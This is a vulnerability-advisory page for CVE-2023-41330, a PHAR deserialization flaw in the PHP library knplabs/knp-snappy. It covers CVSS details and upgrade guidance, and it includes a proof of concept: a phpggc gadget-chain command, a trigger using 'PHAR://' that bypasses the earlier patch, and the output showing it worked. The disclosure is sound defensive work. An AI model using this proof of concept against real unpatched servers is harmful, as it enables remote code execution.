CVE-2023-41330: Knplabs/knp snappy Snappy PHAR Deserialization Vulnerability Vulnerability

CRITICAL
Advisory Identifier: GHSA-92rv-4j2h-8mjj
CVSS 9.8
CWE-502
Published
Advisory Summary

CVE-2023-41330 is a CRITICAL (CVSS 9.8) snappy phar deserialization vulnerability vulnerability (CWE-502: Deserialization of Untrusted Data) affecting Knplabs/knp snappy libraries in the Packagist ecosystem. The issue involves snappy phar deserialization vulnerability. Remediation is available by upgrading affected packages to version 1.4.3.

CVE-2023-41330 at a Glance

CVE Identifier CVE-2023-41330
GHSA Identifier GHSA-92rv-4j2h-8mjj
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-502: Deserialization of Untrusted Data
Affected Product Knplabs/knp snappy
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2023-41330

To remediate this vulnerability, upgrade all affected Knplabs/knp snappy dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

knplabs/knp-snappy fixed: 1.4.3
Upgrade knplabs/knp-snappy to 1.4.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for knplabs/knp-snappy

How to Check if You Are Affected

To determine whether your application is affected by CVE-2023-41330, inspect your project dependencies for Knplabs/knp snappy:

inspect dependencies for knplabs/knp-snappy

Analyze the terminal output to locate any version of Knplabs/knp snappy in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.4.3), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-502: Deserialization of Untrusted Data, where the product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. In Knplabs/knp snappy, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Issue On March 17th the vulnerability [CVE-2023-28115 was disclosed](https://github.com/KnpLabs/snappy/security/advisories/GHSA-gq6w-q6wh-jggc), allowing an attacker to gain remote code execution through PHAR deserialization. To fix this issue, the version 1.4.2 was released with an additional check in the affected function to prevent the usage of the `phar://` wrapper. However, because PHP wrappers are case-insensitive and the patch only checks the presence of the `phar://` string, it can be bypassed to achieve remote code execution again using a different case. As for the initial vulnerability, PHP 7 or below is required for a successful exploitation using the deserialization of PHP archives metadata via the `phar://` wrapper. ## Technical details ### Description The following [patch](https://github.com/KnpLabs/snappy/commit/1ee6360cbdbea5d09705909a150df7963a88efd6) was committed on the 1.4.2 release to fix CVE-2023-28115. ![patch](https://user-images.githubusercontent.com/110113034/250088710-396f562d-d19e-43a5-a8f8-90ca1f7e3e98.png) If the user is able to control the second parameter of the `generateFromHtml()` function of Snappy, it will then be passed as the `$filename` parameter in the `prepareOutput()` function. In the original vulnerability, a file name with a `phar://` wrapper could be sent to the `fileExists()` function, equivalent to the `file_exists()` PHP function. This allowed users to trigger a deserialization on arbitrary PHAR files. To fix this issue, the string is now passed to the `strpos()` function and if it starts with `phar://`, an exception is raised. However, PHP wrappers being case insensitive, this patch can be bypassed using `PHAR://` instead of `phar://`. ### Proof of Concept To illustrate the vulnerability, the `/tmp/exploit` file will be written to the filesystem using a voluntarily added library to trigger the deserialization. The PHP archive is generated using [phpggc](https://github.com/ambionics/phpggc) with the `-f` option to force a fast destruct on the object. Otherwise, the PHP flow will stop on the first exception and the object destruction will not be called. ```bash $ phpggc -f Monolog/RCE1 exec 'touch /tmp/exploit' -p phar -o exploit.phar ``` The following `index.php` file will be used to trigger the vulnerability via the payload `PHAR://exploit.phar`. ```bash <?php // index.php // include autoloader require __DIR__ . '/vendor/autoload.php'; // reference the snappy namespace use Knp\Snappy\Pdf; $snappy = new Pdf('/usr/local/bin/wkhtmltopdf'); $snappy->generateFromHtml('<h1>POC</h1>', 'PHAR://exploit.phar'); ``` Finally once executed, the `/tmp/exploit` file is successfully created on the filesystem. ```bash $ php index.php Fatal error: Uncaught InvalidArgumentException: The output file 'PHAR://exploit.phar' already exists and it is a directory. in /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php:634 Stack trace: #0 /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php(178): Knp\Snappy\AbstractGenerator->prepareOutput('PHAR://exploit.phar', false) #1 /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/Pdf.php(36): Knp\Snappy\AbstractGenerator->generate(Array, 'PHAR://exploit.phar', Array, false) #2 /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php(232): Knp\Snappy\Pdf->generate(Array, 'PHAR://exploit.phar', Array, false) #3 /var/www/index.php(12): Knp\Snappy\AbstractGenerator->generateFromHtml('<h1>POC</h1>', 'PHAR://exploit.phar') #4 {main} thrown in /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php on line 634 $ ls -l /tmp/exploit -rw-r--r-- 1 user_exploit user_exploit 0 Jun 14 10:05 exploit ``` This proof of concept is based on the original one published with CVE-2023-28115. ### Impact A successful exploitation of this vulnerability allows executing arbitrary code and accessing the underlying filesystem. The attacker must be able to upload a file and the server must be running a PHP version prior to 8. ## Patches Synacktiv recommends to use a whitelist instead of a blacklist. In this situation, only the wrappers `http://`, `https://` or `file://` be available on the function `generateFromHtml()`. ## Workarounds Control user data submitted to the function `AbstractGenerator->generate(...)` ## References https://github.com/KnpLabs/snappy/security/advisories/GHSA-gq6w-q6wh-jggc ## Credits Rémi Matasse of Synacktiv (https://synacktiv.com/).

CVE-2023-41330 Affected Knplabs/knp snappy Versions

1 component(s)
Fixed Versions:
1.4.3
Product / Package Ecosystem Affected Versions Fixed Version
knplabs/knp-snappy
Packagist
< 1.4.3
1.4.3

References

Frequently Asked Questions

What is CVE-2023-41330?
CVE-2023-41330 is a security vulnerability in Knplabs/knp snappy involving Snappy PHAR deserialization vulnerability under CWE-502: Deserialization of Untrusted Data.
Which Knplabs/knp snappy versions are affected?
Affected versions include releases prior to 1.4.3 across affected packages: knplabs/knp-snappy.
What version fixes CVE-2023-41330?
Upgrading to 1.4.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is knplabs/knp-snappy affected?
Yes, knplabs/knp-snappy is affected in releases prior to 1.4.3. Upgrade your dependency to 1.4.3 or later.
What is the CVSS score of CVE-2023-41330?
CVE-2023-41330 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2023-41330?
CVE-2023-41330 is classified under CWE-502: Deserialization of Untrusted Data (The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.).
How can I check Packagist dependencies for CVE-2023-41330?
Run the dependency tree command: 'inspect dependencies for knplabs/knp-snappy'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-92rv-4j2h-8mjj",
  "modified" : "2023-10-10T05:29:07Z",
  "published" : "2023-09-08T12:17:48Z",
  "aliases" : [ "CVE-2023-41330" ],
  "summary" : "Snappy PHAR deserialization vulnerability",
  "details" : "## Issue\n\nOn March 17th the vulnerability [CVE-2023-28115 was disclosed](https://github.com/KnpLabs/snappy/security/advisories/GHSA-gq6w-q6wh-jggc), allowing an attacker to gain remote code execution through PHAR deserialization. To fix this issue, the version 1.4.2 was released with an additional check in the affected function to prevent the usage of the `phar://` wrapper. However, because PHP wrappers are case-insensitive and the patch only checks the presence of the `phar://` string, it can be bypassed to achieve remote code execution again using a different case.\n\nAs for the initial vulnerability, PHP 7 or below is required for a successful exploitation using the deserialization of PHP archives metadata via the `phar://` wrapper.\n\n## Technical details\n\n### Description\n\nThe following [patch](https://github.com/KnpLabs/snappy/commit/1ee6360cbdbea5d09705909a150df7963a88efd6) was committed on the 1.4.2 release to fix CVE-2023-28115.\n\n![patch](https://user-images.githubusercontent.com/110113034/250088710-396f562d-d19e-43a5-a8f8-90ca1f7e3e98.png)\n\nIf the user is able to control the second parameter of the `generateFromHtml()` function of Snappy, it will then be passed as the `$filename` parameter in the `prepareOutput()` function. In the original vulnerability, a file name with a `phar://` wrapper could be sent to the `fileExists()` function, equivalent to the `file_exists()` PHP function. This allowed users to trigger a deserialization on arbitrary PHAR files.\n\nTo fix this issue, the string is now passed to the `strpos()` function and if it starts with `phar://`, an exception is raised. However, PHP wrappers being case insensitive, this patch can be bypassed using `PHAR://` instead of `phar://`.\n\n### Proof of Concept\n\nTo illustrate the vulnerability, the `/tmp/exploit` file will be written to the filesystem using a voluntarily added library to trigger the deserialization. The PHP archive is generated using [phpggc](https://github.com/ambionics/phpggc) with the `-f` option to force a fast destruct on the object. Otherwise, the PHP flow will stop on the first exception and the object destruction will not be called.\n\n```bash\n$ phpggc -f Monolog/RCE1 exec 'touch /tmp/exploit' -p phar -o exploit.phar\n```\nThe following `index.php` file will be used to trigger the vulnerability via the payload `PHAR://exploit.phar`.\n\n```bash\n<?php\n// index.php\n\n// include autoloader\nrequire __DIR__ . '/vendor/autoload.php';\n\n// reference the snappy namespace\nuse Knp\\Snappy\\Pdf;\n\n$snappy = new Pdf('/usr/local/bin/wkhtmltopdf');\n$snappy->generateFromHtml('<h1>POC</h1>', 'PHAR://exploit.phar');\n```\nFinally once executed, the `/tmp/exploit` file is successfully created on the filesystem.\n\n```bash\n$ php index.php \nFatal error: Uncaught InvalidArgumentException: The output file 'PHAR://exploit.phar' already exists and it is a directory. in /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php:634\nStack trace:\n#0 /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php(178): Knp\\Snappy\\AbstractGenerator->prepareOutput('PHAR://exploit.phar', false)\n#1 /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/Pdf.php(36): Knp\\Snappy\\AbstractGenerator->generate(Array, 'PHAR://exploit.phar', Array, false)\n#2 /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php(232): Knp\\Snappy\\Pdf->generate(Array, 'PHAR://exploit.phar', Array, false)\n#3 /var/www/index.php(12): Knp\\Snappy\\AbstractGenerator->generateFromHtml('<h1>POC</h1>', 'PHAR://exploit.phar')\n#4 {main}\n  thrown in /var/www/vendor/knplabs/knp-snappy/src/Knp/Snappy/AbstractGenerator.php on line 634\n  \n$ ls -l /tmp/exploit\n-rw-r--r-- 1 user_exploit user_exploit 0 Jun 14 10:05 exploit\n```\n\nThis proof of concept is based on the original one published with CVE-2023-28115.\n\n### Impact\n\nA successful exploitation of this vulnerability allows executing arbitrary code and accessing the underlying filesystem. The attacker must be able to upload a file and the server must be running a PHP version prior to 8.\n\n## Patches\nSynacktiv recommends to use a whitelist instead of a blacklist. In this situation, only the wrappers `http://`, `https://` or `file://` be available on the function `generateFromHtml()`.\n\n## Workarounds\nControl user data submitted to the function `AbstractGenerator->generate(...)`\n\n## References\nhttps://github.com/KnpLabs/snappy/security/advisories/GHSA-gq6w-q6wh-jggc\n\n## Credits\nRémi Matasse of Synacktiv (https://synacktiv.com/).\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "knplabs/knp-snappy"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.4.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.4.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/KnpLabs/snappy/security/advisories/GHSA-92rv-4j2h-8mjj"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/KnpLabs/snappy/security/advisories/GHSA-gq6w-q6wh-jggc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-41330"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/KnpLabs/snappy/commit/d3b742d61a68bf93866032c2c0a7f1486128b67e"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FriendsOfPHP/security-advisories/blob/master/knplabs/knp-snappy/CVE-2023-41330.yaml"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/KnpLabs/snappy"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-92rv-4j2h-8mjj"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-502" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-09-08T12:17:48Z",
    "nvd_published_at" : "2023-09-06T18:15:09Z"
  }
}